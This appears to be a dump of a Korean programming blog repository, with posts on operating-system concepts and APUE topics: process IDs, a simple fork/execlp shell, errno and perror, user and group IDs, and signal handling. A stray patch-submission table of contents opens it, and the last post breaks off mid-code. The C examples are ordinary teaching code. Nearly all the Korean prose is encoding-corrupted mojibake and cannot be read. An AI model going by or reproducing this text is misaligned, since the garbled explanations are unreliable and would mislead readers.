sudo modprobe alarm-dev๋๋ผ์ด๋ฒ๊ฐ ํ์คํ ๋ก๋๋์๋์ง ํ์ธํ๊ณ ์ถ์ผ์๋ค๋ฉด, ๋ค์์ ๋ช ๋ น์ด๋ฅผ ์คํํด๋ณด์ธ์.
lsmod | less๋ณ๊ฒฝ์ฌํญ ์ปค๋ฐํ๊ธฐ
๋์ ๋ณ๊ฒฝ์ฌํญ ๋ณด๊ธฐ
๋ด ๋ณ๊ฒฝ์ฌํญ์ ์ปค๋ฐํ๊ธฐ
์คํ ์ด์ง๋ ๋ณ๊ฒฝ์ฌํญ์ ๋๋๋ฆฌ๊ธฐ
ํ์ผ์ ๋ถ๋ถ๋ณ ์ปค๋ฐ
๋ณ๊ฒฝ์ฌํญ ์ปค๋ฐ
์ปค๋ฐ์ ์์ ํ๊ธฐ
๋ด ์ปค๋ฐ ๋ณด๊ธฐ
ํจ์น ์ ์ถํ๊ธฐ
mutt์ผ๋ก ๋ณด๋ด๊ธฐ ์ํด ํจ์น ๋ง๋ค๊ธฐ
mutt๊ณผ ํจ๊ป ํจ์น ๋ณด๋ด๊ธฐ
git send-email๋ก ํจ์น ๋ณด๋ด๊ธฐ
ํ๊ณผ ํธ๋ฆญ๋ค
๋ฉํ ์๊ฒ ํจ์น๋ฅผ ๋ณด๋ด๊ธฐ
์ด๋ฉ์ผ์ ๋ต์ฅํ๊ธฐ
inline์ผ๋ก ๋ต์ฅํ๊ธฐ
๋ด ํจ์น ์์ ํ๊ธฐ
๋ด ์ปค๋ฐ ์์ ํ๊ธฐ
ํ๋์ ํจ์น ์์ ๋ณธ์ ๋ฒ์ ์ ๋๋๊ธฐ
ํจ์น๋ชจ์(patchset)์ ๋ฒ์ ๋๋๊ธฐ
ํจ์น๋ชจ์(patchset)์ ์ ์ถํ๊ธฐ
git format-patch๋ฅผ ์ฌ์ฉํด patchset์ ๋ณด๋ด๊ธฐ
File: _posts/2019-9-24-operating57.md
layout: post title: Operating System Concepts - ์ปดํจํฐ ์์คํ ์กฐ์ง๋ date: 2019-9-24 16:14:31 +0900 categories: [operating_system]
ํ๋์ ์ผ๋ฐ ๋ชฉ์ ์ปดํจํฐ์์คํ ์ CPU์ ๋๋ฐ์ด์ค ์ปจํธ๋กค๋ฌ, ๊ทธ๋ฆฌ๊ณ ์ปดํฌ๋ํธ์ ๊ณต์ ๋ฉ๋ชจ๋ฆฌ์ ์ ๊ทผ์ ํ๊ฐํ๋ ๋ฒ์ค๋ก ๊ตฌ์ฑ๋๋ค.
๋๋ฐ์ด์ค ์ปจํธ๋กค๋ฌ
- ๋ก์ปฌ ๋ฒํผ ์คํ ๋ฆฌ์ง ์ ์ง๋ณด์
- ํน์๋ชฉ์ ๋ ์ง์คํฐ๋ค ์ ์ง๋ณด์
- ์ฃผ๋ณ์ฅ์น๋ค๋ผ๋ฆฌ ๋ฐ์ดํฐ๋ฅผ ์ฎ๊ธฐ๋๊ฒ์ ์ฑ ์์ด์์
- CPU์ ๋ณ๋ ฌ์คํ๋์ด ๋ฉ๋ชจ๋ฆฌ ์ธ์ดํด์ ๋ํด ๊ฒฝ์
์ด์์ฒด์ ๋ ์ด๋ฌํ ๋๋ฐ์ด์ค ์ปจํธ๋กค๋ฌ๋ฅผ ์ํ ๋๋ผ์ด๋ฒ๋ฅผ ๊ฐ๊ณ ์์
๊ธฐ๊ธฐ ๋๋ผ์ด๋ฒ
- ๋๋ฐ์ด์ค ์ปจํธ๋กค๋ฌ๋ฅผ ์ดํดํจ
- ์ด์์ฒด์ ์ ๋ํ ํต์ผ๋ ์ธํฐํ์ด์ค ์ ๊ณต
๋์ถฉ ๋ณด์๋ฉด,
[ ๋ฉ๋ชจ๋ฆฌ ] - CPU
| |
USB ๊ทธ๋ํฝ ๋์คํฌ ์ปจํธ๋กค๋ฌ
File: _posts/2019-9-25-operating58.md
[Binary file]
File: _posts/2019-9-26-apue60.md
[Binary file]
File: _posts/2019-9-26-operating59.md
[Binary file]
File: _posts/2019-9-27-apue61.md
layout: post title: Advanced Programming in the UNIX Environment - Process, Thread date: 2019-9-27 23:49:22 +0900 categories: [unix, operating_system]
ํ๋ก๊ทธ๋จ๊ณผ ํ๋ก์ธ์ค
ํ๋ก๊ทธ๋จ
- "๋์คํฌ์ ๋๋ ํ ๋ฆฌ ์์์๋ ์คํ๊ฐ๋ฅํ ํ์ผ"
- ๋ฉ๋ชจ๋ฆฌ์ ์ฌ๋ ค์ง
- 7๊ฐ์ exec ์ค ํ๋์ ๊ฒฐ๊ณผ๊ฐ์ผ๋ก ์ปค๋์ ์ํด ์คํ ๋ ์ ์์(๋์ค์ ๋ค๋ฃจ๊ฒ ๋ค, apue์์๋ ์น์ 8.10์์ ๋ค๋ฃฌ๋ค๊ณ ํจ)
ํ๋ก์ธ์ค์ ํ๋ก์ธ์ค ID
ํ๋ก์ธ์ค
- ์คํ์ค์ธ ํ๋ก๊ทธ๋จ์ ํ๋ก์ธ์ค๋ผ๊ณ ํจ
- ๋ช๋ช ์ด์์ฒด์ ์์๋ task๋ผ๊ณ ๋ถ๋ฅด๊ธฐ๋ ํจ
ํ๋ก์ธ์ค ID
- ๋ชจ๋ ํ๋ก์ธ์ค๊ฐ ๊ฐ๋ ๊ณ ์ ํ ์ซ์
- ๋ ์์
์๊ธฐ ์์ ์ ํ๋ก์ธ์ค id๋ฅผ ์ถ๋ ฅํ๋ ์ฝ๋
#include "apue.h"
int main(void) {
printf("hello world from pid %ld\n", (long)getpid());
exit(0);
}getpid ํจ์์ ๋ํด ์ด์ผ๊ธฐ๋ฅผ ํ์๋ฉด,
- pid_t ์๋ฃํ์ ๊ฐ์ ๋ฐํํ๊ณ , ์ฌ์ด์ฆ๋ ์ ํด์ ธ์์ง ์์ง๋ง,
- ํ์ค์ด long integer์ ์ฌ์ด์ฆ์ ๋ง์๊ฒ์ ๋ณด์ฆํ๋ค.
- ๋ฌผ๋ก ๋๋ถ๋ถ์ ๊ฒฝ์ฐ์์ int์ ์ฌ์ด์ฆ๋ก๋ ๊ด์ฐฎ์ํ ๋ฐ, ํธํ์ฑ์ ์ํด long์ ์ฌ์ฉํ๋ค.
ํ๋ก์ธ์ค ์ ์ด
ํ๋ก์ธ์ค๋ฅผ ์ ์ดํ๊ธฐ ์ํ 3๊ฐ์ ์ฃผ์ํ ํจ์๊ฐ ์๋ค.
- fork
- ์๊ธฐ ์์ ์ด ๋ณต์ ๋ ์ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ๋ ํจ์
- exec (์์์ ๋งํ๋ฏ 7๊ฐ์ ์ข ๋ฅ๊ฐ ์์ง๋ง, ํธ์์ฑ์ ์ํด ๊ทธ๋ฅ exec์ผ๋ก ํต์นญํ๋ค)
- waitpid
ํ์ค ์ ๋ ฅ์์ ๋ช ๋ น์ด๋ฅผ ๋ฐ์์ค๊ณ , ์คํ์ํค๋ ๊ฐ์ด ์ ธ ํ๋ก๊ทธ๋จ
#include "apue.h"
#include <sys/wait.h>
int main(void) {
char buf[MAXLINE];
pid_t pid;
int status;
printf("%% ");
while (fgets(buf, MAXLINE, stdin) != NULL) {
if(buf[strlen(buf) - 1] == '\n') // ๋์๋ฆฌ๊ฐ ์ํฐ๋ฉด
buf[strlen(buf) - 1] = 0; // ์ํฐ๊น์ง ๋ช
๋ น์ด๋ก ์คํ์ํค๋ฉด ์๋๋๊น null ๋ก ๋ง๋ ๋ค
if((pid = fork()) < 0) // fork์ ์คํจํ๋ค๋ฉด
err_sys("fork error");
else if (pid == 0) { // fork ๋ก ์์ฑ๋ ํ๋ก์ธ์ค๋ผ๋ฉด
execlp(buf, buf, (char *)0); // ์ด ์ฝ๋๋ก ์ธํ์ฌ ์์ํ๋ก์ธ์ค๊ฐ
err_ret("couldn't execute: %s", buf);
exit(127); // return code 127 means when shell failed to find the command that user have typed
}
/* parent */
if ((pid = waitpid(pid, &status, 0)) < 0)
err_sys("waitpid error");
printf("%% ");
}
exit(0);
}fork ํจ์์ ๋ฐํ๊ฐ์ผ๋ก ์ธ๊ฐ์ ๊ฒฝ์ฐ๋ฅผ ๊ตฌ๋ถํด ๋ณผ ์ ์๋๋ฐ,
- -1: ์๋ฌ ๋ฐ์
- 0: fork() ํจ์๋ก ์ธํด ์์ฑ๋ ํ๋ก์ธ์ค๊ฐ fork ํจ์๋ฅผ ๋ ๋ค์ ํธ์ถ ํจ
- ์ ์์ ์ธ pid: fork๊ฐ ์ ์ ํ ์คํ๋จ
fork๋์ด ์์ฑ๋ ํ๋ก์ธ์ค๋ฅผ ์์ ํ๋ก์ธ์ค, fork๋ฅผ ํธ์ถํ ํ๋ก์ธ์ค๋ฅผ ๋ถ๋ชจํ๋ก์ธ์ค๋ผ๊ณ ํ๊ฒ ๋ค.
๊ทธ๋์ ํด๋น ์ฝ๋๋ฅผ ๋ถ์ํด๋ณด์๋ฉด,
- ์์ํ๋ก์ธ์ค๋ execlp๋ก ๋ช ๋ น์ด๋ฅผ ์คํ์ํค๋ฉฐ ์๊ธฐ ์์ ์ ์คํ๋ ํด๋น ํ์ผ๋ก ๋์ฒด์ํจ๋ค.
- ๋ถ๋ชจ ํ๋ก์ธ์ค๋ ๋ช
๋ น์ด์ ์คํ์ด ๋๋ ๋๊น์ง ๊ธฐ๋ฌ๋ ค์ผ ํ๊ธฐ ๋๋ฌธ์(๊ทธ๋์ผ ๋ช
๋ น์ด ๋๋๊ณ ๋์ ๋ช
๋ น์ด ์
๋ ฅ์ ๋ฐ์ผ๋๊น) waitpid ํจ์๋ฅผ ํตํด์ ๊ธฐ๋ค๋ฆฐ๋ค.
- waitpid์ ๋ฐํ๊ฐ์๋ ํ๋ก๊ทธ๋จ์ ์ํ๋ฅผ ์ ์ ์๋ ๊ฐ์ด ์์ง๋ง, ์ด ํ๋ก๊ทธ๋จ์์๋ ๊ทธ๋ฐ๊ฒ๋ค์ ๋ค๋ฃจ์ง๋ ์์๋ค.
- ์ด ํ๋ก๊ทธ๋จ์๋ ๋ฌธ์ ์ ์ด ํ๋ ์๋๋ฐ, ๋ช
๋ น์ด์๋ค๊ฐ ์ธ์๊ฐ์ ๋๊ธธ ์ ์๋ค๋ ์ ์ด๋ค.
- ๊ฐ๋ น ls๋ฅผ ์คํํ๋ค ํ๋๋ผ๋ ์ด๋ ๋๋ ํ ๋ฆฌ์ ls๋ฅผ ํ ์ง ์ง์ ํด ์ค ์ ์๋ค.
- ์ธ์๊ฐ์ ๋๊ธฐ๋ ค๋ฉด ์คํ์ด์ค๋ ํญ ๋ฌธ์๊ฐ์ ๊ฒ๋ค๋ก ์ธ์๊ฐ์ ๊ตฌ๋ถ ํด ์ค ๋ค, ๊ฐ๊ฐ๋ค์ execlp ์ ๋งค๊ฐ๋ณ์๋ก ์ ๋ฌํด์ฃผ๋ ๋ฐฉ์์ผ๋ก ๊ณ ์ณ์ผํ๋ค.
์ฐ๋ ๋์ ์ฐ๋ ๋ID
์ฐ๋ ๋
๋ณดํต ํ๋ก๊ทธ๋จ์ ์ฐ๋ ๋๊ฐ ํ๋์ด๋ค. ์ฆ ํ๋ฒ์ ํ๋์ ๊ธฐ๊ณ์ด๋ง ์คํ ๋๋ค.
๊ทธ๋ฌ๋, ๋ฉํฐํ๋ก์ธ์ ์์คํ
์์๋ ์ฌ๋ฌ ์ฐ๋ ๋๋ฅผ ํตํด ๋ณ๋ ฌ์ ์ผ๋ก ์ผ์ ์ฒ๋ฆฌ ํ ์ ์๋ค.
ํ๋์ ํ๋ก์ธ์ค ์์ ๋ชจ๋ ์ฐ๋ ๋๋
- ๊ฐ์ ์ฃผ์ ๊ณต๊ฐ
- ๊ฐ์ ํ์ผ ์์ ์(file descriptor)
- ๊ฐ์ ์คํ
- ๊ทธ์ธ์ ํ๋ก์ธ์ค์ ๊ด๋ จ๋ ๋ชจ๋ ์์ฑ
๋ค์ ๊ณต์ ํ๋ค.
๊ฐ ์ฐ๋ ๋๋ ๊ฐ์ ํ๋ก์ธ์ค ์์ ์ํด์๊ธฐ ๋๋ฌธ์ ๋ฉ๋ชจ๋ฆฌ์ ์คํ๊ณต๊ฐ์ ๊ณต์ ํ๋ค. (์ฆ ํ๋ก์ธ์ค a์ ์ฐ๋ ๋ b๋ ์ฐ๋ ๋ c์ ์คํ๊ณต๊ฐ์ ์ ๊ทผ ํ ์ ์๋ค!)
๊ทธ๋ ๊ธฐ ๋๋ฌธ์ ๊ณต์ ๋ ๋ฐ์ดํฐ๋ผ๋ฆฌ์ ์ ๊ทผ์ ๋ํด์ ๋๊ธฐํ๋ฅผ ์์ผ ์ค ํ์๊ฐ์๋ค.
์ฐ๋ ๋ ID
ํ๋ก์ธ์ค์ฒ๋ผ, ์ฐ๋ ๋๋ค์ ID๋ฅผ ํตํด ํน์ ์ง์ด์ง๋ค.
๋ฌผ๋ก ์ฐ๋ ๋๋ค์ ํ๋ก์ธ์ค ๊ฐ๊ฐ์ ํ์ ์ง์ด ์ฌ์ฉ๋๊ธฐ ๋๋ฌธ์ ์ง์ญ๋ณ์์ฒ๋ผ ํ ํ๋ก์ธ์ค๋ ์์ ์ ์ฐ๋ ๋๋ง ์ ๊ทผ ํ ์ ์๋ค.
๊ทธ๋์ ํ๋ก์ธ์ค A์ ์ฐ๋ ๋ 2๋ ํ๋ก์ธ์ค B์๊ฒ ์ด๋ ํ ์๋ฏธ๋ ๊ฐ์ง์๋๋ค.
์ฐ๋ ๋ ID๋ ํ๋ก์ธ์ค ์์์ ํน์ ์ฐ๋ ๋๋ค์ ๋ฅ์๋ฅ๋ํ๊ฒ ๋ค๋ฃจ๊ธฐ ์ํด ์ฌ์ฉํ๋ค.
์ฐ๋ ๋๋ ์ ๋์ค ์์คํ
์์ ํ๋ก์ธ์ค ๋ชจ๋ธ์ด ์๊ธด์ง ํ์ฐธ ๋ค์ ์๊ฒผ๊ธฐ๋๋ฌธ์ ์ฐ๋ ๋ ๋ชจ๋ธ๊ณผ ํ๋ก์ธ์ค ๋ชจ๋ธ์ ๋ณต์กํ ์ํธ์์ฉ์ ํ๋ค.
File: _posts/2019-9-28-apue62.md
layout: post title: Advanced Programming in the UNIX Environment - Error handling date: 2019-9-28 15:19:26 +0900 categories: [unix, operating_system]
์๋ฌ ์ฒ๋ฆฌ
- ์ ๋์ค ์์คํ ์์ ์๋ฌ๊ฐ ๋๋ฉด ์ํ๋ฅผ ์๋ ค์ฃผ๋ ์์๊ฐ ๋ฐํ๋๋ค. (๊ทธ๋ฌ๋๊น ์๋ฌ์ฝ๋๊ฐ์ ๊ฐ๋ ์ด๋ผ๊ณ ๋ณด๋ฉด ๋๋ค)
- errno.h ํค๋์๋ ๋ฐ์ํ ์ ์๋ ์๋ฌ์ฝ๋๋ค์ ๋ํด ์ ์ํ๊ณ ์๋ค.
- ์ด๋ฌํ ์์๋ค์ E๋ก ์์ํ๋ค.
-POSIX์ ISO C์์๋ errno๋ฅผ ํ์ฅํ๋ ์์ ๊ฐ๋ฅํ ์ ์ ํผ์ฐ์ฐ์๋ผ๊ณ ์ ์ํ๊ณ ์๋ค.
- ๊ทธ๋ฌ๋๊น, ์๋ฌ ์ซ์๋ฅผ ๊ฐ๊ณ ์๋ ์ ์
- ํน์ ์๋ฌ ์ซ์๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ๋ฅผ ๋ฐํํ๋ ํจ์
๊ฐ ๋ ์ ์๋ค.
๊ทธ๋์ ์ด๊ฒ์ ๋ํ ์ ํต์ ์ธ ์ ์๋:
extern int errno;๋ผ๊ณ ํ ์ ์๋ค.
๊ทธ๋ฌ๋ ์ฐ๋ ๋๋ฅผ ์ง์ํ๋ ํ๊ฒฝ์์๋ ํ๋ก์ธ์ค์ ์ฃผ์๊ณต๊ฐ์ด ์ฌ๋ฌ ์ฐ๋ ๋๋ผ๋ฆฌ ๊ณต์ ๊ฐ ๋๊ณ , ๊ทธ๋์ ๊ฐ๊ฐ์ ์ฐ๋ ๋๋ errno์ ๋ณต์ฌ๋ฒ์ ์ ๊ฐ์ ธ์ผํ๋ค. (๊ทธ๋์ผ ํ ์ฐ๋ ๋๊ฐ ๋ค๋ฅธ ์ฐ๋ ๋๋ฅผ ๊ฐ์ญํ๋๊ฒ์ ๋ง์ ์ ์์ผ๋๊น)
๋ฆฌ๋ ์ค๋ ๋ฉํฐ์ฐ๋ ๋ ์์คํ ์์์ errno์ ์ ๊ทผ์ ์๊น ์์์ ๋ณด์๋ ์ ์ ์๋ฅผ
extern int *__errno_location(void);
#define errno (*__errno_location())๋ก ํจ์ผ๋ก์จ ๋ฉํฐ์ฐ๋ ๋์์์ ์ ๊ทผ์ ์ง์ํ๋ค.
errno์๊ฒ ์์ด ๋๊ฐ์ง ์ฃผ์ํ ๊ท์น์ด ์๋๋ฐ,
- errno์ ๊ฐ์ ์ ๋๋ก ์๋ฌ๊ฐ ๋ฐ์ํ์ง ์์๋ค๋ฉด ๋ฃจํด์ ์ํด ๊ฐ์ด ์ด๊ธฐํ ๋์ง ์๋๋ค.
- ๊ทธ๋์ ํจ์๊ฐ ์ค๋ฅ๊ฐ ๋ฌ๋ค๊ณ ์๋ฆด๋์๋ง ๊ฐ์ ๊ฒ์ฌํด์ผํ๋ค.
- errno์ ๊ฐ์ ์ ๋๋ก 0์ด ๋ ์ ์๋ค.
- ์ด๋ ํ ํจ์์ ์ํด์๋ 0์ด ๋์ฌ ์ ์๊ณ , errno.h์ ์๋ ์ด๋ ํ ๊ฐ๋ 0์ด ์๋๋ค.
cํ์ค์์๋ ์ด๋ฌํ ์๋ฌ๋ฅผ ๋ค๋ฃจ๋๋ฐ ๋์์ ์ฃผ๋ ๋๊ฐ์ง ํจ์๋ฅผ ์ ๊ณตํ๋ค.
#include <string.h>
char *strerror(int errnum);strerror, ๊ทธ๋ฆฌ๊ณ
#include <stdio.h>
void perror(const char *msg);perror๊ฐ ๊ทธ๊ฒ์ด๋ค.
strerror๋ ์๋ฌ์ซ์๋ฅผ ๋ฐํ์ผ๋ก ํด๋น ์๋ฌ์ ๋ํ ์ค๋ช
์ ํ๋ ๋ฌธ์์ด์ ๋ฐํํ๊ณ , perror์ ์ค๋ฅ๊ฐ ๋ฐ์ํ ๋ฐ๋ก ๋ค์์ ํจ์๋ฅผ ํธ์ถํ๊ฒ ๋๋ฉด, ์ธ์๊ฐ์ผ๋ก ๋ฐ์ msg๋ฅผ ์ถ๋ ฅํ๋ค ํด๋น ์๋ฌ์ ๋ํ ์ค๋ช
์ ํ๋ ๋ฌธ์์ด์ ์ถ๋ ฅํ๋ค.
๊ทธ๋ ๊ธฐ๋๋ฌธ์, perrorํจ์๋ ์๋ฌ๊ฐ ๋ฐ์๋๊ณ ๋ฐ๋ก ๋ค์ ํธ์ถ๋์ด์ผํ๋ค.
๊ทธ๋ผ ์ด ๋๊ฐ์ง ํจ์๋ฅผ ํ์ฉํ๋ ์์ ๋ฅผ ํ๋ฒ ์์ฑํด๋ณด์!
#include "apue.h"
#include <errno.h>
int main(int argc, char *argv[]) {
fprintf(stderr, "EACCES: %s\n", strerror(EACCES));
errno = ENOENT;
perror(argv[0]);
exit(0);
}์๋ฌ ๋ณต๊ตฌ
errno์ ์ ์๋ ์๋ฌ๋ ๋๊ฐ์ง๋ก ๋๋ ์ ์๋ค. ๊ทธ๋ฆฌ๊ณ ์ด๋ค์ ๊ฐ๊ฐ ๋ค์๊ณผ๊ฐ๋ค.
- fatal: ๋ณต๊ตฌ ๋ถ๊ฐ๋ฅ
- nonfatal: ๋๋ถ๋ถ์ด ์ผ์์ ์ธ ์๋ฌ
๋ฆฌ์์ค์ ๊ด๋ จ๋ nonfatal ์๋ฌ
- EAGAIN
- ENFILE
- ENOBUFS
- ENOLCK
- ENOSPC
- EWOULDBLOCK
- ENOMEM: ํญ์ nonfatal์ ์๋.
- EBUSY: ์๋ฌ๊ฐ ๊ณต์ ๋ ์์์ ์ฌ์ฉ์ค์ด๋ผ๊ณ ํ๋ค๋ฉด nonfatal ์๋ฌ๋ก ์ฌ๊ฒจ์ง ์ ์๋ค.
- EINTR: ๋๋ฆฐ ์์คํ ์ฝ์ ์ธํฐ๋ฝํธ ํ์์๋ nonfatal ์๋ฌ๋ก ์ฌ๊ฒจ์ง ์ ์๋ค.
๋ณต๊ตฌ๋ฒ
- ๊ฐ์ฅ ํํ ๋ฐฉ๋ฒ์ ๊ธฐ๋ค๋ฆฐ ๋ค์ ๋ค์ ์๋ํ๋๊ฒ์ด๋ค.
- ์ด ๋ฐฉ๋ฒ์ ๋ค๋ฅธ ํ๊ฒฝ์์๋ ์์ฉ๋ ์ ์๋๋ฐ, "์ธํฐ๋ท ์ฐ๊ฒฐ์ด ์๋ตํ์ง ์์ต๋๋ค" ์ ๊ฐ์ ์๋ฌ๊ฐ ๋ฌ์๋ ๋ค์์ ์ดํ๋ฆฌ์ผ์ด์ ์ ์ ์ ๊ธฐ๋ค๋ฆฌ๊ฒ ํ ํ ์ฌ์๋ํ๊ฒ ํ ์ ๋ ์๋๊ฒ์ด ๊ทธ ์์์ด๋ค.
- ๋ช๋ช ์์ฉํ๋ก๊ทธ๋จ์ exponential backkoff algorithm์ ์ฌ์ฉํ์ฌ ์ดํ์ ์๋๋ค์ ๋ํด ์ ์ ๋ ๋๊ธฐ ์๊ฐ์ ๋๊ฒํ๋ ๋ฐฉ์์ ์ฌ์ฉํ๊ธฐ๋ ํ๋ค.
- ๊ถ๊ทน์ ์ผ๋ก, ์๋ฌ๋ฅผ ๋ณต๊ตฌ ํ ์ ์์์ง ์์์ง๋ ์์ฉํ๋ก๊ทธ๋จ ๊ฐ๋ฐ์์๊ฒ ๋ฌ๋ ค์๋ค.
- ํฉ๋ฆฌ์ ์ธ ๋ณต๊ตฌ์ ๋ต์ด ์ฌ์ฉ๋ ๋, ์ฐ๋ฆฌ๋ ์ฑ์ ๋น์ ์์ ์ข ๋ฃ๋ฅผ ๋ง์์ผ๋ก์ ๊ฒฌ๊ณ ์ฑ์ ๋๋ฆด ์ ์๋ค.
File: _posts/2019-9-29-apue63.md
layout: post title: Advanced Programming in the UNIX Environment - User Identification date: 2019-9-29 15:21:42 +0900 categories: [unix, operating_system]
์ฌ์ฉ์ ์ธ์ฆ
User ID
- password ํ์ผ ์์์๋ ์ฌ์ฉ์ID๋ ์์คํ ์ ๋ํด ์ธ์ฆํ๋ ์ซ์ ๊ฐ์ด๋ค.
- ๋ก๊ทธ์ธ ์ด๋ฆ์ด ํ ๋น๋ ๋ ์์คํ ๊ด๋ฆฌ์์ ์ํด ํ ๋น๋๋ค.
- ์์ ์ด ๋ถ๊ฐ๋ฅํ๋ค.
- ์ ์์ ์ธ ๊ฒฝ์ฐ ๊ฐ ์ ์ ๋ uniqueํ ๊ฐ์ ๊ฐ์ง๋ค.
Group ID
- password ํ์ผ ์์๋ ๊ทธ๋ฃนID๋ ์๋ค.
- ๋ง์ฐฌ๊ฐ์ง๋ก ๋ก๊ทธ์ธ ์ด๋ฆ์ด ํ ๋น๋ ๋ ์์คํ ๊ด๋ฆฌ์์ ์ํด ํ ๋น๋๋ค.
- ๋ณดํต ํ๋ก์ ํธ๋ ๋ถ์๋ณ๋ก ์ฌ์ฉ์๋ค์ ์ฎ๊ธฐ ์ํด ์ฌ์ฉ๋๋ค.
- ํ์ผ๊ณผ ๊ฐ์ ์์์ ๊ณต์ ๋ฅผ ๊ฐ๋ฅํ๊ฒ ํ๋ค.
- ๊ทธ๋ฃน๋ณ๋ก ๊ถํ์ ์ค์ ํ ์ ์๋ค.
- group์ ์ด๋ฆ๊ณผ ์์ด๋๋ฅผ ๋งค์นญํด๋ ๊ทธ๋ฃนํ์ผ๋ ์๋ค.
- ๋ณดํต /etc/group ์ด๋ค.
๋์คํฌ์์๋ ๋ชจ๋ ํ์ผ์ ๋ํด ์์คํ ์ ํ์ผ ์ฃผ์ธ์ uid์ gid์ ๋ํด ์ ์ฅํ๊ณ ์๋ค.
- ์ด๊ฒ๋ค์ ์ ์ฅํ๋๋ฐ๋ 4๋ฐ์ดํธ๋ฐ์ ๋ค์ง ์๋๋ค.(๊ฐ๊ฐ 2๋ฐ์ดํธ ์ ์)
์์
์คํ์ํจ ์ฌ์ฉ์์ uid์ gid๋ฅผ ์ถ๋ ฅ์ํค๋ C์ฝ๋
#include "apue.h"
int main(void) {
printf("uid = %d, gid = %d", getuid(), getgid());
exit(0);
}Supplementary Group IDs
- ํ ์ ์ ๋ 16๊ฐ์ ๊ทธ๋ฃน์ ์ํ ์ ์๋ค.
- ๊ทธ๋ฐ๋ฐ ์๊น ์ ์ ์ group์ password ํ์ผ์ ์ ์ฅ๋๋ค๊ณ ํ๋ค. - ์ด๋ฅผ real gid๋ผ๊ณ ํ๋ค.
- /etc/group ์์ password์ ์ ํ์๋ ์ ์ ๊ฐ ์ํ ๊ทธ๋ฃน ๋ง๊ณ , ๋ค๋ฅธ ๊ทธ๋ฃน์ ์ ๋ณด๊ฐ ๋ค์ด๊ฐ์๋ค. - ์ด๊ฒ supplementary group id์ด๋ค.
File: _posts/2019-9-29-apue64.md
layout: post title: Advanced Programming in the UNIX Environment - Signal, Time Value date: 2019-9-30 17:47:9 +0900 categories: [unix, operating_system]
์๊ทธ๋
ํน์ ์ํฉ์ด ์ผ์ด๋ฌ์์ ํ๋ก์ธ์ค์๊ฒ ์๋ฆฌ๋๋ฐ ์ฌ์ฉ๋๋ ๋ฐฉ๋ฒ์ด๋ค.
์๋ฅผ๋ค์ด ํ ํ๋ก์ธ์ค๊ฐ 0์ผ๋ก ๋๋ ์ง๋ค๋ฉด, SIGFPE(๋ถ๋์์์ ์์ธ์ํฉ)์ด๋ผ๋ ์๊ทธ๋์ด ํ๋ก์ธ์ค์๊ฒ ๋ณด๋ด์ง๋ค.
ํ๋ก์ธ์ค๊ฐ ์๊ทธ๋์ ๋ฐ์๋ค๋ฉด, ๋ค์์ ์ธ๊ฐ์ ์ต์ ์ผ๋ก ์ํฉ์ ๋์ฒ ํ ์ ์๋ค.
- ์๊ทธ๋์ ๋ฌด์ํ๋ค.
- ๋ฌผ๋ก ํ๋์จ์ด ์์ธ์ํฉ์ ๋ํ๋ด๋ ์๊ทธ๋์์๋ ๊ถ์ฅ๋์ง ์๋๋ค.
- ๊ธฐ๋ณธ๊ฐ์ผ๋ก ์ค์ ๋ ํ๋์ด ์คํ๋๋๋กํ๋ค.
- ์๊น ์๋ฅผ๋ค์๋ SIGFPE์ ๊ฒฝ์ฐ ๊ธฐ๋ณธ๊ฐ์ผ๋ก๋ ํ๋ก์ธ์ค๋ฅผ ์ข ๋ฃ์ํจ๋ค.
- ์๊ทธ๋์ด ๋ฐ์ํ์๋ ํธ์ถ๋๋ ํจ์๋ฅผ ์ ๊ณตํ๋ค.
- ์ด ๋ฐฉ๋ฒ์ ํตํด์ ํ๋ก๊ทธ๋๋จธ๋ ์ธ์ ์๊ทธ๋์ด ๋ฐ์ํ๋์ง ์ ์ ์๊ณ ํด๋น ์๊ทธ๋์ ์ง์ ๋ค๋ฃฐ ์ ์๋ค.
์์
๋ง์ฝ ํ๋ก๊ทธ๋จ์ ์คํ์ํค๊ณ ์ธํฐ๋ฝํธํค๋ฅผ ๋๋ฅด๊ฒ๋๋ค๋ฉด, ํด๋น ์ธํฐ๋ฝํธ์ธ SIGINT์ ๊ธฐ๋ณธ ์คํ๊ฐ์ด ํ๋ก์ธ์ค๋ฅผ ์ข
๋ฃํ๋๊ฒ์ด๊ธฐ์ ํ๋ก์ธ์ค๊ฐ ์ข
๋ฃ๋๋ค.
ํ๋ก์ธ์ค๊ฐ ์ปค๋์๊ฒ ๋ค๋ฅธ ์์
์ ํ๊ฒ ๋ค๊ณ ์ ๋ฌํ์ง ์์์, ๊ธฐ๋ณธ์์
์ด ์คํ๋๋๊ฒ์ด๋ค.
๊ทธ๋์ ์ด๋ฒ์๋ ๋ฐฉ๋ฒ 3์ ๋ฐฉ๋ฒ์ ์ด์ฉํด์ ์ ๋ฒ์ ๋ง๋ค์๋ ๊ฐ์ด์
ธ ์์ค์ฝ๋์ ๋ช๊ฐ์ง ์์ ์ฌํญ์ ๋ง๋ค์ด๋ณด๊ฒ ๋ค.
์๊ทธ๋์ ์ฝ๋์์ ๋ค๋ฃจ๋ ๋ฒ์ signal ํจ์๋ฅผ ์ฌ์ฉํ๋๊ฒ์ธ๋ฐ ๊ทธ ์ฌ์ฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ๋ค.
signal(์๊ทธ๋๋ฒํธ, ์๊ทธ๋_๋ค๋ฃฐ_ํธ๋ค๋ฌ_ํจ์);์ฌ๊ธฐ์ ํธ๋ค๋ฌํจ์๋ ์ธ์๊ฐ์ผ๋ก ํฌ์ธํฐํจ์๋ฅผ ๋ฐ๋๊ฒ์ด๊ธฐ ๋๋ฌธ์ ๊ทธ๋ฅ ํจ์์ ์ด๋ฆ๋ง ๋๊ฒจ์ฃผ๋ฉด๋๋ค.
์๋ฌดํผ, ๊ฐ์ด์ ธ ์์ค์ฝ๋์ ์ธํฐ๋ฝํธ๊ฐ ๋ฐ์ํ์ผ๋ฉด ๊ทธ๋ฅ "interrupt" ๋ฅผ ์ถ๋ ฅํ๊ณ ๋ค์ ์๋ ๊ทธ๋ฌ๋๋ฏ ์ ธ๋ก ๋์์ค๋ ์์ ์ฌํญ์ ๋ง๋ค์ด๋ณด๊ฒ ๋ค.
#include "apue.h"
#include <sys/wait.h>
static void sig_int(int);
int main(void) {
char buf[MAXLINE];
pid_t pid;
int status;
if(signal(SIGINT, sig_int) == SIG_ERR) //signal ํจ์์ SIGINT
err_sys("signal error");
printf("%% ");
while (fgets(buf, MAXLINE, stdin) != NULL) {
